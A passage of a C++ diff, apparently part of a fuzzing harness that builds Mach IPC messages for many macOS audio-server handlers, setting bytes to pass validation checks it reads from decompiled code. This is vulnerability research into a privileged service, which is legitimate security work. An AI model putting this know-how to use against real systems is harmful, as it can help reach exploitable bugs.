mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 31] = 0x1; + + // Read descriptor sizes from the message body + uint32_t descriptor_size_0, descriptor_size_1; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + memcpy(&descriptor_size_1, &mach_msg[DESCRIPTOR_OFFSET_1], sizeof(uint32_t)); + + descriptor_size_0 = descriptor_size_0 >> 1; + descriptor_size_1 = descriptor_size_1 >> 1; + + // Now write these sizes to the last 8 bytes of the body + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 60], &descriptor_size_0, sizeof(uint32_t)); // Write descriptor_size_0 + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 64], &descriptor_size_1, sizeof(uint32_t)); // Write descriptor_size_1 + + break; + } + case XObject_SetPropertyData: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x5C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 31] = 0x1; + + // Read descriptor sizes from the message body + uint32_t descriptor_size_0, descriptor_size_1; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + memcpy(&descriptor_size_1, &mach_msg[DESCRIPTOR_OFFSET_1], sizeof(uint32_t)); + + // Now write these sizes to the last 8 bytes of the body + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 60], &descriptor_size_0, sizeof(uint32_t)); // Write descriptor_size_0 + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 64], &descriptor_size_1, sizeof(uint32_t)); // Write descriptor_size_1 + + break; + } + case XSystem_CreateIOContext: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x38, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Set the proper value to descriptor_size_0 + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 28], &descriptor_size_0, sizeof(uint32_t)); + + break; + } + case XIOContext_Start: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x34, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Branch condition to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + + break; + } + case XSystem_OpenWithBundleIDAndLinkage: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x54, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Branch conditions to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 27] = 0x01; + + break; + } + case XIOContext_StartAtTime_With_Shmem_SemaphoreTimeout: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_PORT_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x54, (uint32_t)0x03, descriptor_types, mach_msg, ool_buffers); + + // Branch conditions to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 26] = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 38] = 0x11; + + break; + } + case XIOContext_StartAtTime_Shmem: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x3C, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Branch conditions to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + + break; + } + case XIOContext_StartAtTime: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x3C, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Branch conditions to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + + break; + } + case XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupPropertiesAndShmem: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x58, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Branch conditions to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 27] = 0x01; + + // Get the value at a1 + 52 (i.e., mach_msg + 52) + uint32_t ool_descriptor_size; + memcpy(&ool_descriptor_size, &mach_msg[52], sizeof(uint32_t)); + + uint32_t half_ool_descriptor_size = ool_descriptor_size >> 1; + + // Set offset 80 to half the descriptor size + memcpy(&mach_msg[80], &half_ool_descriptor_size, sizeof(uint32_t)); + + break; + } + case XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupPropertiesAndShmemAndTimeout: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x58, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Branch conditions to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 27] = 0x01; + + // Get the value at a1 + 52 (i.e., mach_msg + 52) + uint32_t ool_descriptor_size; + memcpy(&ool_descriptor_size, &mach_msg[52], sizeof(uint32_t)); + + uint32_t half_ool_descriptor_size = ool_descriptor_size >> 1; + + // Set offset 80 to half the descriptor size + memcpy(&mach_msg[80], &half_ool_descriptor_size, sizeof(uint32_t)); + + break; + } + case XSystem_OpenWithBundleIDLinkageAndKindAndShmem: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x58, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Branch conditions to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 27] = 0x01; + + // Get the value at a1 + 52 (i.e., mach_msg + 52) + uint32_t ool_descriptor_size; + memcpy(&ool_descriptor_size, &mach_msg[52], sizeof(uint32_t)); + + uint32_t half_ool_descriptor_size = ool_descriptor_size >> 1; + + // Set offset 80 to half the descriptor size + memcpy(&mach_msg[80], &half_ool_descriptor_size, sizeof(uint32_t)); + + break; + } + // FIXED (test-completed) + case XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupProperties: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x58, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Branch conditions to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 27] = 0x01; + + // Get the value at a1 + 52 (i.e., mach_msg + 52) + uint32_t ool_descriptor_size; + memcpy(&ool_descriptor_size, &mach_msg[52], sizeof(uint32_t)); + + uint32_t half_ool_descriptor_size = ool_descriptor_size >> 1; + + // Set offset 80 to half the descriptor size + memcpy(&mach_msg[80], &half_ool_descriptor_size, sizeof(uint32_t)); + + break; + } + // FIXED (pending) + case XSystem_CreateMetaDevice: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x38, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 39 so that *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; // To satisfy the condition, value_at_a1_39 must be 1 + mach_msg[MACH_MSG_HEADER_SIZE + 15] = value_at_a1_39; + + // Condition 2: Get the value at a1 + 40 and set the same value at a1 + 52 + uint32_t value_at_a1_40; + memcpy(&value_at_a1_40, &mach_msg[40], sizeof(uint32_t)); + + // Set the value at a1 + 52 to be the same as a1 + 40 + memcpy(&mach_msg[52], &value_at_a1_40, sizeof(uint32_t)); + + break; + } + // FIXED (pending) + case XSystem_WriteSetting: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x4C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Set the value at a1 + 39 to avoid *(unsigned __int8 *)(a1 + 39) << 24 != 0x1000000 + uint8_t value_at_a1_39 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[39] = value_at_a1_39; + + // Set the value at a1 + 55 to avoid *(unsigned __int8 *)(a1 + 55) << 24 != 0x1000000 + uint8_t value_at_a1_55 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[55] = value_at_a1_55; + + // Set the value at a1 + 68 to be half of the value at a1 + 40 + uint32_t value_at_a1_40; + memcpy(&value_at_a1_40, &mach_msg[40], sizeof(uint32_t)); + uint32_t value_at_a1_68 = value_at_a1_40 >> 1; + memcpy(&mach_msg[68], &value_at_a1_68, sizeof(uint32_t)); + + // Set the value at a1 + 72 to be the same as the value at a1 + 56 + uint32_t value_at_a1_56; + memcpy(&value_at_a1_56, &mach_msg[56], sizeof(uint32_t)); + memcpy(&mach_msg[72], &value_at_a1_56, sizeof(uint32_t)); + + break; + } + case XObject_SetPropertyData_DCFString_QRaw: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x5C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 39 so that *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[39] = value_at_a1_39; + + // Condition 2: Set the value at a1 + 55 so that *(unsigned __int8 *)(a1 + 55) << 24 == 0x1000000 + uint8_t value_at_a1_55 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[55] = value_at_a1_55; + + // Condition 3: Set the value at a1 + 84 to be the same as the value at a1 + 40 + uint32_t value_at_a1_40; + memcpy(&value_at_a1_40, &mach_msg[40], sizeof(uint32_t)); + memcpy(&mach_msg[84], &value_at_a1_40, sizeof(uint32_t)); + + // Condition 4: Set the value at a1 + 88 to be half the value of a1 + 56 + uint32_t value_at_a1_56; + memcpy(&value_at_a1_56, &mach_msg[56], sizeof(uint32_t)); + uint32_t value_at_a1_88 = value_at_a1_56 >> 1; + memcpy(&mach_msg[88], &value_at_a1_88, sizeof(uint32_t)); + + break; + } + case XObject_SetPropertyData_DCFString_QPList: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x5C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 39 so that *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[39] = value_at_a1_39; + + // Condition 2: Set the value at a1 + 55 so that *(unsigned __int8 *)(a1 + 55) << 24 == 0x1000000 + uint8_t value_at_a1_55 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[55] = value_at_a1_55; + + // Condition 3: Set the value at a1 + 84 to be the same as the value at a1 + 40 + uint32_t value_at_a1_40; + memcpy(&value_at_a1_40, &mach_msg[40], sizeof(uint32_t)); + memcpy(&mach_msg[84], &value_at_a1_40, sizeof(uint32_t)); + + // Condition 4: Set the value at a1 + 88 to be half the value of a1 + 56 + uint32_t value_at_a1_56; + memcpy(&value_at_a1_56, &mach_msg[56], sizeof(uint32_t)); + uint32_t value_at_a1_88 = value_at_a1_56 >> 1; + memcpy(&mach_msg[88], &value_at_a1_88, sizeof(uint32_t)); + + break; + } + case XObject_SetPropertyData_DPList_QRaw: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x5C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 39 so that *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[39] = value_at_a1_39; + + // Condition 2: Set the value at a1 + 55 so that *(unsigned __int8 *)(a1 + 55) << 24 == 0x1000000 + uint8_t value_at_a1_55 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[55] = value_at_a1_55; + + // Condition 3: Set the value at a1 + 84 to be the same as the value at a1 + 40 + uint32_t value_at_a1_40; + memcpy(&value_at_a1_40, &mach_msg[40], sizeof(uint32_t)); + memcpy(&mach_msg[84], &value_at_a1_40, sizeof(uint32_t)); + + // Condition 4: Set the value at a1 + 88 to be half the value of a1 + 56 + uint32_t value_at_a1_56; + memcpy(&value_at_a1_56, &mach_msg[56], sizeof(uint32_t)); + uint32_t value_at_a1_88 = value_at_a1_56 >> 1; + memcpy(&mach_msg[88], &value_at_a1_88, sizeof(uint32_t)); + + break; + } + case XObject_SetPropertyData_DPList_QPList: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x5C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 39 so that *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[39] = value_at_a1_39; + + // Condition 2: Set the value at a1 + 55 so that *(unsigned __int8 *)(a1 + 55) << 24 == 0x1000000 + uint8_t value_at_a1_55 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[55] = value_at_a1_55; + + // Condition 3: Set the value at a1 + 84 to be the same as the value at a1 + 40 + uint32_t value_at_a1_40; + memcpy(&value_at_a1_40, &mach_msg[40], sizeof(uint32_t)); + memcpy(&mach_msg[84], &value_at_a1_40, sizeof(uint32_t)); + + // Condition 4: Set the value at a1 + 88 to be half the value of a1 + 56 + uint32_t value_at_a1_56; + memcpy(&value_at_a1_56, &mach_msg[56], sizeof(uint32_t)); + uint32_t value_at_a1_88 = value_at_a1_56 >> 1; + memcpy(&mach_msg[88], &value_at_a1_88, sizeof(uint32_t)); + + break; + } + case XIOContext_SetClientControlPort: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x34, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + uint16_t value_at_a1_38 = 0x11; + memcpy(&mach_msg[38], &value_at_a1_38, sizeof(uint16_t)); + + break; + } + case XIOContext_Start_With_WorkInterval_Shmem: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x34, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + uint16_t value_at_a1_38 = 0x11; + memcpy(&mach_msg[38], &value_at_a1_38, sizeof(uint16_t)); + + break; + } + case XIOContext_Start_Shmem: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x34, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + uint16_t value_at_a1_38 = 0x11; + memcpy(&mach_msg[38], &value_at_a1_38, sizeof(uint16_t)); + + break; + } + case XIOContext_Start_With_Shmem_SemaphoreTimeout: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_PORT_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x4C, (uint32_t)0x03, descriptor_types, mach_msg, ool_buffers); + + uint16_t value_at_a1_38 = 0x11; + memcpy(&mach_msg[38], &value_at_a1_38, sizeof(uint16_t)); + + break; + } + case XIOContext_Start_With_WorkInterval: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x34, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + uint16_t value_at_a1_38 = 0x11; + memcpy(&mach_msg[38], &value_at_a1_38, sizeof(uint16_t)); + + break; + } + case XObject_SetPropertyData_DPList: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Ensure *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 39 - 24], &value_at_a1_39, sizeof(uint8_t)); + + // Condition 2: Ensure *(_DWORD *)(a1 + 40) == *(_DWORD *)(a1 + 68) + uint32_t value_at_a1_40; + uint32_t value_at_a1_68; + + // Read the current values of a1 + 40 and a1 + 68 + memcpy(&value_at_a1_40, &mach_msg[MACH_MSG_HEADER_SIZE + 40 - 24], sizeof(uint32_t)); + memcpy(&value_at_a1_68, &mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], sizeof(uint32_t)); + + // If the values are the different, adjust a1 + 68 to be the same + if (value_at_a1_40 != value_at_a1_68) { + value_at_a1_68 = value_at_a1_40; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], &value_at_a1_68, sizeof(uint32_t)); + } + + break; + } + case XObject_SetPropertyData_DPList_QCFString: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x5C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 39 so that *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[39] = value_at_a1_39; + + // Condition 2: Set the value at a1 + 55 so that *(unsigned __int8 *)(a1 + 55) << 24 == 0x1000000 + uint8_t value_at_a1_55 = 0x01; // 0x01 << 24 == 0x1000000 + mach_msg[55] = value_at_a1_55; + + // Condition 3: Set the value at a1 + 84 to be the same as the value at a1 + 40 >> 1 + uint32_t value_at_a1_40; + memcpy(&value_at_a1_40, &mach_msg[40], sizeof(uint32_t)); + uint32_t shifted_val = value_at_a1_40 >> 1; + memcpy(&mach_msg[84], &shifted_val, sizeof(uint32_t)); + + // Condition 4: Set the value at a1 + 88 to be a1 + 56 + uint32_t value_at_a1_56; + memcpy(&value_at_a1_56, &mach_msg[56], sizeof(uint32_t)); + uint32_t value_at_a1_88 = value_at_a1_56; + memcpy(&mach_msg[88], &value_at_a1_88, sizeof(uint32_t)); + + break; + } + // FIXED (tested) + case XSystem_ReadSetting: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x38, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 39 so that *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; + mach_msg[39] = value_at_a1_39; + + // Condition 2: Get the value at a1 + 40, (size) and set the value at a1 + 52 to be half of it + uint32_t value_at_a1_40; + memcpy(&value_at_a1_40, &mach_msg[40], sizeof(uint32_t)); + + // Set the value at a1 + 52 to be half of a1 + 40 + uint32_t value_at_a1_52 = value_at_a1_40 >> 1; + memcpy(&mach_msg[52], &value_at_a1_52, sizeof(uint32_t)); + + break; + } + case XSystem_OpenWithBundleID: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x4C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 39 so that *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_38 = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 38 - 24] = value_at_a1_38; + + // Condition 2: Ensure *(unsigned __int8 *)(a1 + 51) << 24 == 0x1000000 + uint8_t value_at_a1_51 = 0x01; + mach_msg[MACH_MSG_HEADER_SIZE + 51 - 24] = value_at_a1_51; + + // Condition 3: Ensure (*(_DWORD *)(a1 + 52) >> 1) == *(_DWORD *)(a1 + 72) + uint32_t value_at_a1_52; + memcpy(&value_at_a1_52, &mach_msg[MACH_MSG_HEADER_SIZE + 52 - 24], sizeof(uint32_t)); + + // Set the value at a1 + 72 to be half of the value at a1 + 52 + uint32_t value_at_a1_72 = value_at_a1_52 >> 1; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 72 - 24], &value_at_a1_72, sizeof(uint32_t)); + + break; + } + case XObject_GetPropertyData: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Ensure *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 39 - 24], &value_at_a1_39, sizeof(uint8_t)); + + // Condition 2: Ensure *(_DWORD *)(a1 + 40) == *(_DWORD *)(a1 + 68) + uint32_t value_at_a1_40; + uint32_t value_at_a1_68; + + // Read the current values of a1 + 40 and a1 + 68 + memcpy(&value_at_a1_40, &mach_msg[MACH_MSG_HEADER_SIZE + 40 - 24], sizeof(uint32_t)); + memcpy(&value_at_a1_68, &mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], sizeof(uint32_t)); + + // If the values are the different, adjust a1 + 68 to be the same + if (value_at_a1_40 != value_at_a1_68) { + value_at_a1_68 = value_at_a1_40; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], &value_at_a1_68, sizeof(uint32_t)); + } + + break; + } + case XObject_GetPropertyData_DI32_QCFString: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Ensure *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 39 - 24], &value_at_a1_39, sizeof(uint8_t)); + + // Condition 2: Ensure *(_DWORD *)(a1 + 40) >> 1 == *(_DWORD *)(a1 + 68) + uint32_t value_at_a1_40; + uint32_t value_at_a1_68; + + // Read the current values of a1 + 40 and a1 + 68 + memcpy(&value_at_a1_40, &mach_msg[MACH_MSG_HEADER_SIZE + 40 - 24], sizeof(uint32_t)); + memcpy(&value_at_a1_68, &mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], sizeof(uint32_t)); + + // If the values are the different, adjust a1 + 68 to be the same + if (value_at_a1_40 >> 1 != value_at_a1_68) { + value_at_a1_68 = value_at_a1_40 >> 1; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], &value_at_a1_68, sizeof(uint32_t)); + } + + break; + } + case XObject_GetPropertyData_DCFString_QRaw: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Ensure *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 39 - 24], &value_at_a1_39, sizeof(uint8_t)); + + // Condition 2: Ensure *(_DWORD *)(a1 + 40) == *(_DWORD *)(a1 + 68) + uint32_t value_at_a1_40; + uint32_t value_at_a1_68; + + // Read the current values of a1 + 40 and a1 + 68 + memcpy(&value_at_a1_40, &mach_msg[MACH_MSG_HEADER_SIZE + 40 - 24], sizeof(uint32_t)); + memcpy(&value_at_a1_68, &mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], sizeof(uint32_t)); + + // If the values are the different, adjust a1 + 68 to be the same + if (value_at_a1_40 != value_at_a1_68) { + value_at_a1_68 = value_at_a1_40; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], &value_at_a1_68, sizeof(uint32_t)); + } + + break; + } + case XObject_GetPropertyData_DPList_QPList: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Ensure *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 39 - 24], &value_at_a1_39, sizeof(uint8_t)); + + // Condition 2: Ensure *(_DWORD *)(a1 + 40) == *(_DWORD *)(a1 + 68) + uint32_t value_at_a1_40; + uint32_t value_at_a1_68; + + // Read the current values of a1 + 40 and a1 + 68 + memcpy(&value_at_a1_40, &mach_msg[MACH_MSG_HEADER_SIZE + 40 - 24], sizeof(uint32_t)); + memcpy(&value_at_a1_68, &mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], sizeof(uint32_t)); + + // If the values are the different, adjust a1 + 68 to be the same + if (value_at_a1_40 != value_at_a1_68) { + value_at_a1_68 = value_at_a1_40; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], &value_at_a1_68, sizeof(uint32_t)); + } + + break; + } + case XObject_GetPropertyData_DCFString_QPList: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Ensure *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 39 - 24], &value_at_a1_39, sizeof(uint8_t)); + + // Condition 2: Ensure *(_DWORD *)(a1 + 40) == *(_DWORD *)(a1 + 68) + uint32_t value_at_a1_40; + uint32_t value_at_a1_68; + + // Read the current values of a1 + 40 and a1 + 68 + memcpy(&value_at_a1_40, &mach_msg[MACH_MSG_HEADER_SIZE + 40 - 24], sizeof(uint32_t)); + memcpy(&value_at_a1_68, &mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], sizeof(uint32_t)); + + // If the values are the different, adjust a1 + 68 to be the same + if (value_at_a1_40 != value_at_a1_68) { + value_at_a1_68 = value_at_a1_40; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], &value_at_a1_68, sizeof(uint32_t)); + } + + break; + } + + case XObject_GetPropertyData_DPList_QRaw: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Ensure *(unsigned __int8 *)(a1 + 39) << 24 == 0x1000000 + uint8_t value_at_a1_39 = 0x01; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 39 - 24], &value_at_a1_39, sizeof(uint8_t)); + + // Condition 2: Ensure *(_DWORD *)(a1 + 40) != *(_DWORD *)(a1 + 68) + uint32_t value_at_a1_40; + uint32_t value_at_a1_68; + + // Read the current values of a1 + 40 and a1 + 68 + memcpy(&value_at_a1_40, &mach_msg[MACH_MSG_HEADER_SIZE + 40 - 24], sizeof(uint32_t)); + memcpy(&value_at_a1_68, &mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], sizeof(uint32_t)); + + // If the values are not the same, adjust a1 + 68 + if (value_at_a1_40 != value_at_a1_68) { + value_at_a1_68 = value_at_a1_40; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 68 - 24], &value_at_a1_68, sizeof(uint32_t)); + } + + break; + } + + case XSystem_OpenWithBundleIDLinkageAndKind: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR, 